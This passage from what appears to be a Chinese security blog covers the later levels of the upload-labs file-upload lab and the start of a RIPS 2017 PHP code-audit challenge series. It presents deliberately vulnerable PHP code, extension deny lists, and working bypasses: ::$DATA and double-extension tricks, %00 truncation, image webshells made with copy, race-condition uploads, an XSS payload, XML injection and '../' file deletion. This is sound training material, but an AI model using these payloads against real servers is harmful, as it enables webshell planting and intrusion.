$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

黑名单相同,对文件名进行去空和小写转换处理,但是没有通过自定义的deldot函数进行末尾去点处理,所以上传后缀名为.php.文件,windows特性上传后会自动将后缀名的点去掉

Pass-08

1
2
3
4
5
6
7
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = trim($file_ext); //首尾去空

这关没有通过str_ireplace函数去除字符串::$DATA,在文件名后缀加上::$DATA即可绕过

Pass-9

1
2
3
4
5
6
7
8
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

相对于前面几关而言,这关过滤的较为完善,可以看到,过滤的流程为:(1)文件名去空(2)文件名去点(3)截取最后一个点后的字符串(4)将截取的文件后缀转换为小写(4)将截取的文件名后缀去除字符串::$DATA(5)将截取的文件名后缀去空

我们可以看一下deldot函数的具体代码:

1
2
3
4
5
6
7
8
9
10
11
12
function deldot($s){
for($i = strlen($s)-1;$i>0;$i--){
$c = substr($s,$i,1);
if($i == strlen($s)-1 and $c != '.'){
return $s;
}

if($c != '.'){
return substr($s,0,$i+1);
}
}
}

可以发现,检测流程是从文件名的最后一位开始检测,是点就去掉末位,继续向前检测,只要检测到文件名最后一位不是点,就返回过滤后的文件名,而且去点只有一次

针对上述过滤流程,我们可以构造后缀名为.php. .(点+空格+点),经过去点过滤后的文件名为.php. (点+空格),之后截取文件名后缀自然就绕过检测,上传的文件名最后后缀为.php.(点)

Pass-10

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

这关是将上传文件的文件名通过str_ireplace函数去除黑名单中的文件后缀,但是这个函数的缺点是只能去除一次,所以双写就能绕过,上传文件名后缀为.pphphp

Pass-11

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}

这关开始采用了白名单的形式,要求上传文件名后缀名必须为jpg,png,gif,但是我们可以发现上传文件的路径是通过GET方式传递的参数save_path进行拼接的,所以在save_path末尾利用%00截断绕过

Pass-12

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传失败";
}
} else {
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}

这关拼接的参数save_path是通过POST方式传递的,同样抓包修改save_path,但是因为POST不像GET能URL解码%00,所以我们需要在二进制中修改

Pass-13

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}

通过读取文件的前两个字节来判断文件类型,本关的目的是上传图片马,所以利用copy命令将图片文件和php文件进行合并成图片马文件,命令如下:

1
copy 1.jpg/b + 13cmd.php/a 13cmd.jpg

最后通过带有文件包含漏洞的文件检测图片马

Pass-14

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function isImage($filename){
$types = '.jpeg|.png|.gif';
if(file_exists($filename)){
$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]);
if(stripos($types,$ext)>=0){
return $ext;
}else{
return false;
}
}else{
return false;
}
}

利用getimagesize函数获取文件类型是否是图片文件,跟上一关一样,可以用copy命令生成图片马,也可以在文件内容的开头加入GIF89A伪装成GIF文件

Pass-15

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function isImage($filename){
//需要开启php_exif模块
$image_type = exif_imagetype($filename);
switch ($image_type) {
case IMAGETYPE_GIF:
return "gif";
break;
case IMAGETYPE_JPEG:
return "jpg";
break;
case IMAGETYPE_PNG:
return "png";
break;
default:
return false;
break;
}
}

同样利用copy命令生成图片马或者在文件内容开头加入GIF89A即可上传图片马

Pass-16

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagegif($im,$img_path);

@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";

这关规定了文件的后缀名必须是jpg,png或gif,文件类型Content-Type必须为image/jpeg,image/png或image/gif,而且上传后还经过imagecreatefromgif函数进行图片二次渲染的过程,我们可以先试着上传一个利用copy命令生成的图片马

可以看到成功上传,接下来访问上传的图片马

可以看出上传的图片马末尾的PHP代码经过二次渲染后发生了变化

二次渲染后的图片是会有部分内容不会发生变化的,我们可以试着上传一张完整的GIF图片,对比上传后的图片与原来的图片

我们可以发现开头部分内容前后是没有变化的,那么我们就在开头部分直接添加PHP代码再上传

成功上传,再利用文件包含漏洞访问一下上传的图片马

这个方法只适合gif图片,如果是png和jpg方法较为麻烦,具体可以参考https://xz.aliyun.com/t/2657

Pass-17

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;

if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}

这关先经过move_uploaded_file函数进行文件上传,再利用白名单过滤文件,如果不是图片文件再通过unlink函数将文件删除,我们可以利用条件竞争的原理,利用多线程不断上传php文件,再后台还未来得及通过unlink函数删除php文件时,访问到webshell

发包的同时在浏览器不断访问17cmd.php文件

Pass-18

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
if (isset($_POST['submit']))
{
require_once("./myupload.php");
$imgFileName =time();
$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
$status_code = $u->upload(UPLOAD_PATH.'/');
switch ($status_code) {
case 1:
$is_upload = true;
$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
break;
case 2:
$msg = '文件已经被上传,但没有重命名。';
break;
case -1:
$msg = '这个文件不能上传到服务器的临时文件存储目录。';
break;
case -2:
$msg = '上传失败,上传目录不可写。';
break;
case -3:
$msg = '上传失败,无法上传该类型文件。';
break;
case -4:
$msg = '上传失败,上传的文件过大。';
break;
case -5:
$msg = '上传失败,服务器已经存在相同名称文件。';
break;
case -6:
$msg = '文件无法上传,文件不能复制到目标目录。';
break;
default:
$msg = '未知错误!';
break;
}
}

这关同样使用了白名单的形式规定了合法的后缀名,上传后再通过rename函数重命名。我们可以观察这关的白名单中存在压缩包的后缀名

1
2
3
var $cls_arr_ext_accepted = array(
".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
".html", ".xml", ".tiff", ".jpeg", ".png" );

那么跟上一关一样,我们可以利用条件竞争,通过多线程发送上传后缀名为.php.7z的文件的包,当服务器还未来得及将文件改名时访问上传的webshell

可以看到有的响应包的提示是文件还来不及被重命名

在浏览器中访问18cmd.php.7z

成功访问webshell

Pass-19

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

$file_name = $_POST['save_name'];
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

if(!in_array($file_ext,$deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
}else{
$msg = '上传出错!';
}
}else{
$msg = '禁止保存为该类型文件!';
}

} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

这关以一个POST方式传递的参数save_name作为上传文件保存的文件名,同时通过pathinfo函数对文件名的后缀名进行黑名单检测,但是我们可以发现,并没有对该参数进行一系列过滤处理(去点,去空,去::$DATA字符串,大小写转化)

我们先测试一下pathinfo函数:

1
2
3
4
5
echo pathinfo("cmd.php",PATHINFO_EXTENSION); #php
echo pathinfo("cmd.php.",PATHINFO_EXTENSION); #
echo pathinfo('cmd.php::$DATA',PATHINFO_EXTENSION); #::$DATA
echo pathinfo("cmd.php ",PATHINFO_EXTENSION);echo "<br>"; #php
echo pathinfo("cmd.PHP",PATHINFO_EXTENSION);echo "<br>"; #PHP

通过测试说明,一系列之前关卡的绕过方法都是可以的

Pass-20

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
if(!empty($_FILES['upload_file'])){
//mime check
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}else{
//check filename
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}

$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}
}
}

这关首先检查了上传的文件类型,然后将POST方式传递的参数save_name(如果为空,则上传的文件名)作为文件名变量$file,对$file进行了是否是数组的判断,如果不是数组则以“.”为分界符打散成数组,并取出数组最后一个元素(通过end函数)作为文件名后缀进行白名单的检测,通过检测的话就取出数组的第一个元素(通过reset函数)与$file[count($file) - 1]拼接成最终的文件名上传

如果变量$file作为字符串,则我们只能上传图片马,但如果作为数组,则不需要经过explode函数的处理,那么我们就考虑对$file数组赋值如下:

1
2
3
4
$file = array();
$file[1] = "20cmd";
$file[2] = "php";
$file[3] = "jpg";

那么被检测的后缀名变量$ext和最后上传的文件名变量$file_name的值如下:

1
2
$ext = end($file) == "jpg"
$file_name = reset($file) . '.' . $file[count($file) - 1] == "20cmd.php"

上传的payload如下图所示

还可以考虑通过利用%00截断函数move_uploaded_file,对$file数组赋值如下:

1
2
3
$file = array();
$file[0] = "20cmd.php "; //将最后一个空格字符" "在burp的提交包中的十六进制中替换成0x00
$file[1] = "jpg";

上传的payload如下图所示

文件上传漏洞总结

文件上传的检查主要分为两大部分:客户端检查和服务器端检查

一.客户端检查

客户端主要是通过前端的JS代码进行检查,如果只是单纯的前端检查,我们只需要按照前端的检查标准发送请求包,再通过抓包修改请求包的内容,如第一关,抓包修改一下文件名后缀再提交即可成功上传webshell

二.服务器端检查

服务器端则是通过后台脚本代码(本靶场为PHP)进行检查,检查主要分为三部分:检查Content-type,检查后缀名,检查文件内容

1.检查Content-type

抓包修改Content-type字段为合法内容即可

2.检查后缀名

检查后缀名分为黑名单检测和白名单检测

2.1黑名单检测

列举出一系列禁止上传的文件后缀名进行过滤,常用的绕过方法有以下几种:

(1)上传特殊可解析后缀:如phtmlphp3php5pht

(2)上传.htaccess文件:内容为SetHandler application/x-httpd-php ,上传的所有文件都会被当做php文件进行解析,前提是需要服务器相关配置开启

(3)大小写绕过:在Linux没有特殊配置的情况下,这种情况只有win可以,因为win会忽略大小写,例如Pass-05中未使用strtolower函数进行小写转化处理,那么将后缀名改成PHP即可上传成功

(4)空格,点绕过:Win下xx.php[空格] 或xx.php.这两类文件都是不允许存在的,若这样命名,windows会默认除去空格或点 ,例如Pass-06和Pass-07未使用trim函数或者自定义的deldot函数进行去空和去点处理,就可以利用该方法进行绕过上传

(5)::$DATA绕过:NTFS文件系统包括对备用数据流的支持。这不是众所周知的功能,主要包括提供与Macintosh文件系统中的文件的兼容性。备用数据流允许文件包含多个数据流。每个文件至少有一个数据流。在Windows中,此默认数据流称为:$ DATA,例如Pass-08中,未使用str_ireplace函数去除::$DATA,那么上传后缀名为.php::$DATA即可上传

(6)双写后缀名绕过:当服务器利用函数(如Pass-10中使用str_ireplace函数)将敏感的后缀名替换为空时,双写后缀名,如.pphphp即可绕过

(7)上传.7z压缩包绕过:.7z是一种压缩包文件的格式,我们上传cmd.php.7z文件,再访问该文件时能够正常访问到php页面,这属于Apache解析漏洞,Apache解析文件时,如果后缀名不认识,则会继续想前解析,会解析到php,这就是Apache的解析漏洞

2.2白名单检测

列举出只允许上传的文件后缀名,过滤掉不属于白名单中的文件,常用的绕过方法有以下几种:

(1)MIME绕过:检查http包的Content-type字段来判断文件类型,直接修改该字段值即可

(2)%00截断:利用%00截断move_uploaded_file函数,只解析%00前的字符,%00后的字符不解析,通常运用在GET方式,因为GET方式传入能自动进行URL解码,如Pass-11

(3)0x00截断:原理同%00截断,只不过是通过POST方式传递参数,需要通过Burp在十六进制形式中修改

3.检查文件内容

通过一些检查文件内容的函数进行判断是否是图片格式的文件,可以大致分为对文件头检查,getimagesize函数检查,exif_imagetype函数检查和二次渲染,通常我们只能够上传图片马,常用的绕过方法有以下几种:
(1)利用copy命令生成图片马:命令具体为copy 1.jpg/b + cmd.php/a shell.jpg,生成图片马后上传成功,但是同时还得存在文件包含漏洞才能执行图片马

(2)利用GIF89A伪造成GIF文件:在PHP文件开头内容加入GIF89A,服务器通过getimagesize会认为这是GIF文件

(3)绕过二次渲染:上传PNG和JPG图片马方法较为复杂,但是GIF图片马只需要找到上传前后两个文件经过二次渲染未改变内容的地方,并在其中添加PHP代码即可

三.代码逻辑

这一类属于比较特别的,根据服务器端代码执行的逻辑通过条件竞争上传黑名单文件,条件竞争漏洞是一种服务器端的漏洞,由于服务器端在处理不同用户的请求时是并发进行的,因此,如果并发处理不当或相关操作逻辑顺序设计的不合理时,将会导致此类问题的发生 。

以Pass-17为例,程序先进行文件上传后再判断文件是否合法,不合法再进行删除,如果利用多线程持续发送上传PHP文件的请求包,并不断访问上传的文件,服务器会来不及将不合法文件删除,我们也能因此而成功执行PHP文件代码

最后,再附上一张别人的总结图

]]>
file upload
代码审计--PHP-Security https://Foxgrin.github.io//posts/16636/ 2019-03-02T13:03:00.000Z 2019-03-11T07:10:34.442Z RIPS 2017 PHP代码审计安全挑战

前言

题目原地址: PHP Security Advent Calendar 2017 - https://www.ripstech.com/php-security-calendar-2017/

RIPSTECH PRESENTS PHP SECURITY CALENDAR 是由 RIPS 团队出品的PHP代码安全审计挑战系列题目,RIPSTECH PRESENTS PHP SECURITY CALENDAR 2017 共包含24道题目(Day 1 ~ 24),每道题目将包含一个较新颖的知识点供大家学习。

实验环境源码:https://github.com/vulnspy/ripstech-php-security-calendar-2017

参考题解:http://www.vulnspy.com/cn-ripstech-presents-php-security-calendar-2017/

Day01

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class Challenge {
const UPLOAD_DIRECTORY = './solutions/';
private $file;
private $whitelist;

public function __construct($file) {
$this->file = $file;
$this->whitelist = range(1, 24);
}

public function __destruct() {
if (in_array($this->file['name'], $this->whitelist)) {
move_uploaded_file(
$this->file['tmp_name'],
self::UPLOAD_DIRECTORY . $this->file['name']
);
}
}
}

$challenge = new Challenge($_FILES['solution']);
show_source(__FILE__);

代码大致流程是构建了一个Challenge类,类中定义一个常量UPLOAD_DIRECTORY,用于定义上传文件存储的具体位置,并定义了两个魔术方法:

1
2
3
__construct()  - 在每次创建新对象时先调用此方法

__destruct()   - 对象的所有引用都被删除或者当对象被显式销毁时执行

__construct方法中对类中两个私有变量进行赋值,__destruct方法对上传的文件名进行了检查操作,检查文件名是否为整数,范围为1-24,问题就出在这个in_array方法,我们知道in_array方法的第三个参数默认是false,因此会进行弱类型比较,即将上传的文件名自动转化为整形与整数1-24进行比较。这就导致我们可以将恶意文件上传至服务器,只要文件名为数字1-24开头的文件,都可以上传至服务器。

新创建一个测试文件demo1.php,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<!DOCTYPE html>
<html>
<head>
<title>demo1</title>
</head>
<body>

<form method="post" action="" enctype="multipart/form-data">
<input type="file" name="solution">
<input type="submit" name="submit">
</form>

<?php
class Challenge {
const UPLOAD_DIRECTORY = 'E:/php/PHPTutorial/WWW/html/solutions/';
private $file;
private $whitelist;

public function __construct($file) {
$this->file = $file;
$this->whitelist = range(1, 24);
}

public function __destruct() {
if (in_array($this->file['name'], $this->whitelist)) {
echo $this->file['tmp_name'];
move_uploaded_file(
$this->file['tmp_name'],
self::UPLOAD_DIRECTORY . $this->file['name']
);
}
else echo "fail to upload.";
}
}

$challenge = new Challenge($_FILES['solution']);
?>

</body>
</html>

上传文件名1demo.php的一句话木马文件

成功上传

本关漏洞主要就在于in_array方法的第三个参数未设置,如果设置为true,则会检查搜索的数据与数组的值的类型是否相同,所以修正该漏洞的方法就是将第三个参数设置为true,如下:

1
in_array($this->file['name'], $this->whitelist,true)

修改以后再尝试1demo.php文件,上传失败

Day02

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
// composer require "twig/twig"
require 'vendor/autoload.php';

class Template {
private $twig;

public function __construct() {
$indexTemplate = '<img ' .
'src="proxy.php?url=https://loremflickr.com/320/240">' .
'<a href="proxy.php?url={{link|escape}}">Next slide »</a>';

// Default twig setup, simulate loading
// index.html file from disk
$loader = new Twig\Loader\ArrayLoader([
'index.html' => $indexTemplate
]);
$this->twig = new Twig\Environment($loader);
}

public function getNexSlideUrl() {
$nextSlide = $_GET['nextSlide'];
return filter_var($nextSlide, FILTER_VALIDATE_URL);
}

public function render() {
echo $this->twig->render(
'index.html',
['link' => $this->getNexSlideUrl()]
);
}
}

(new Template())->render();
show_source(__FILE__);

这关涉及了PHP的Twig模板语言,起到了渲染的作用。我们不需要过多的关注这个模板,我们需要关注的是我们可以控制的变量是$nextSlide,这个变量经过了一个函数filter_var的处理,这个函数的作用是根据指定过滤器的ID号对传入的参数进行过滤,这里过滤器ID号为FILTER_VALIDATE_URL,所以整个函数的作用是检查变量$nextSlide是否是一个合法的URL,我们可以写一个测试文件测试一下具体的检测流程:

1
2
3
4
5
6
7
8
9
10
11
12
<?php 

var_dump(filter_var("http://www.baidu.com",FILTER_VALIDATE_URL)); #string(20) "http://www.baidu.com"
var_dump(filter_var("www.baidu.com",FILTER_VALIDATE_URL)); #bool(false)
var_dump(filter_var("123://www.baidu.com",FILTER_VALIDATE_URL)); #string(19) "123://www.baidu.com"
var_dump(filter_var("123://123.com",FILTER_VALIDATE_URL)); #string(13) "123://123.com"
var_dump(filter_var("123://123",FILTER_VALIDATE_URL)); #string(9) "123://123"
var_dump(filter_var("123:/123",FILTER_VALIDATE_URL)); #bool(false)
var_dump(filter_var("123://",FILTER_VALIDATE_URL)); #bool(false)
var_dump(filter_var("1://1",FILTER_VALIDATE_URL)); #string(5) "1://1"

?>

经过测试发现具体只是检测变量中是否存在“://“

过滤的URL再经过Twig的escape过滤后再渲染,查阅Twig的官方文档

1
Internally, ``escape`` uses the PHP native `htmlspecialchars`_ function for the HTML escaping strategy.

escape的过滤规则和htmlspecialchars函数过滤规则相同,会将单引号和双引号进行编码

经过这两个过滤后的URL会在页面中显示,见第9-11行:

1
2
3
$indexTemplate = '<img ' .
'src="proxy.php?url=https://loremflickr.com/320/240">' .
'<a href="proxy.php?url={{link|escape}}">Next slide »</a>';

那么这关就存在XSS漏洞,我们知道在javascript中“//“是表示注释,“%250a”和”%0a”在浏览器中表示换行,那么我们就可以构造一下payload:

1
?nextSlide=javascript://comment%250aalert(/xss/)

因为“//“表示注释,所以comment被注释,换行后执行alert(/xss/),即执行:

1
2
javascript://comment
alert(/xss/)

执行效果如下图所示

成功进行XSS注入攻击

Day03

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
function __autoload($className) {
include $className;
}

$controllerName = $_GET['c'];
$data = $_GET['d'];

if (class_exists($controllerName)) {
$controller = new $controllerName($data['t'], $data['v']);
$controller->render();
} else {
echo 'There is no page with this name';
}

class HomeController {
private $template;
private $variables;

public function __construct($template, $variables) {
$this->template = $template;
$this->variables = $variables;
}

public function render() {
if ($this->variables['new']) {
echo 'controller rendering new response';
} else {
echo 'controller rendering old response';
}
}
}
show_source(__FILE__);

这关涉及到了PHP的魔术方法__autoload,用于自动加载类,当一个类被实例化时,会自动调用该方法,方法中使用include进行调用实例化类的文件,常用于节约include方法的使用。

当然,还有许多函数方法被调用时也会自动调用__autoload方法,如第9行中的class_exists方法,它用来判断类名是否存在,除此之外还有以下方法也会自动调用__autoload方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
call_user_func()
call_user_func_array()
class_exists()
class_implements()
class_parents()
class_uses()
get_class_methods()
get_class_vars()
get_parent_class()
interface_exists()
is_a()
is_callable()
is_subclass_of()
method_exists()
property_exists()
spl_autoload_call()
trait_exists()

仔细观察class_exists()方法传入的参数是通过GET方式传入,可控,传入的参数即调用的文件名,这就造成了任意文件包含漏洞

输入?c=./demo2.php

Day04

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class Login {
public function __construct($user, $pass) {
$this->loginViaXml($user, $pass);
}

public function loginViaXml($user, $pass) {
if (
$user != false && $pass != false &&
(!strpos($user, '<') || !strpos($user, '>')) &&
(!strpos($pass, '<') || !strpos($pass, '>'))
) {
$format = '<?xml version="1.0"?>' .
'<user v="%s"/><pass v="%s"/>';
$xml = sprintf($format, $user, $pass);
$xmlElement = new SimpleXMLElement($xml);
// Perform the actual login.
$this->login($xmlElement);
}
}
}

new Login($_POST['username'], $_POST['password']);
show_source(__FILE__);

这题目的是为了进行XML注入,对于<?xml version="1.0"?><user v="%s"/><pass v="%s"/>就必须要进行闭合标签的处理,而条件(!strpos($user, '<') || !strpos($user, '>')) &&(!strpos($pass, '<') || !strpos($pass, '>'))本意是不允许我们对变量$user和变量$pass同时输入<>,但是我们知道strpos函数搜索不到目标时返回的是false,当找到目标在第一位时返回的是0,根据PHP弱类型比较,0false是相等的

1
2
3
var_dump(strpos("abcd","a")); # 0
var_dump(strpos("abcd","x")); # false
var_dump(0==false); # true

所以我们传入的$user和$pass第一位是<或者>即可绕过过滤,payload如下:

1
username=<"><injected-tag%20property="&password=<"><injected-tag%20property="

最终传入$this->login($xmlElement)$xmlElement值是<xml><user="<"><injected-tag property=""/><pass="<"><injected-tag property=""/></xml> 就可以注入了

Day06

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
class TokenStorage {
public function performAction($action, $data) {
switch ($action) {
case 'create':
$this->createToken($data);
break;
case 'delete':
$this->clearToken($data);
break;
default:
//throw new Exception('Unknown action');
echo 'Unknown action';
}
}

public function createToken($seed) {
$token = md5($seed);
file_put_contents('/tmp/tokens/' . $token, '...data');
}

public function clearToken($token) {
$file = preg_replace("/[^a-z.-_]/", "", $token);
unlink('./tmp/tokens/' . $file);
}
}

$storage = new TokenStorage();
$storage->performAction($_GET['action'], $_GET['data']);
show_source(__FILE__);

这题可以利用的函数有file_put_contentsunlink,但是file_put_contents函数的参数$token经过md5加密,不好利用,在观察unlink函数,参数$token经过preg_replace函数进行正则匹配过滤,过滤的规则是"/[^a-z.-_]/",本意应该是除了a-z 和 . 和 - 和 _的字符都被替换为空,但是这里的-是没有被转义的,在[]-是表示范围的意思,所以这里过滤的应该是除了ascii46-95 , 97-122的字符。也就是说./字符都不会被过滤,那么我们就可以利用路径穿越进行任意文件删除

payload如下:

1
?action=delete&data=../../demo2.php

Day07

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
function getUser($id) {
global $config, $db;
if($id == false){
return;
}
if (!is_resource($db)) {
$db = new MySQLi(
$config['dbhost'],
$config['dbuser'],
$config['dbpass'],
$config['dbname']
);
}
$sql = "SELECT username FROM users WHERE id = ?";
$stmt = $db->prepare($sql);
$stmt->bind_param('i', $id);
$stmt->bind_result($name);
$stmt->execute();
$stmt->fetch();
return $name;
}

$var = parse_url($_SERVER['HTTP_REFERER']);
parse_str($var['query']);
$currentUser = getUser($id);
echo '<h1>'.htmlspecialchars($currentUser).'</h1>';
show_source(__FILE__);

这关考察的通过parse_urlparse_str函数导致的变量覆盖

1
2
3
$var = parse_url("https://127.0.0.1/?a=1&b=2");
print_r($var); #Array ( [scheme] => https [host] => 127.0.0.1 [path] => / [query] => a=1,b=2 )
parse_str($var['query']); # $a == 1 , $b == 2

parse_url中的参数来自HTTP请求头部的Referer字段,是可控的,那么我们就可以控制getUser类中的$config和$db来在我们自己构造的数据库中进行查询

payload如下:

1
http://127.0.0.1/html/day7.php?config[dbhost]=127.0.0.1&config[dbuser]=root&config[dbpass]=root&config[dbname]=security&id=1

Day08

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
if(!isset($_GET) || $_GET == false){
show_source(__FILE__);
exit;
}

function complexStrtolower($regex, $value) {
return preg_replace(
'/(' . $regex . ')/ei',
'strtolower("\\1")',
$value
);
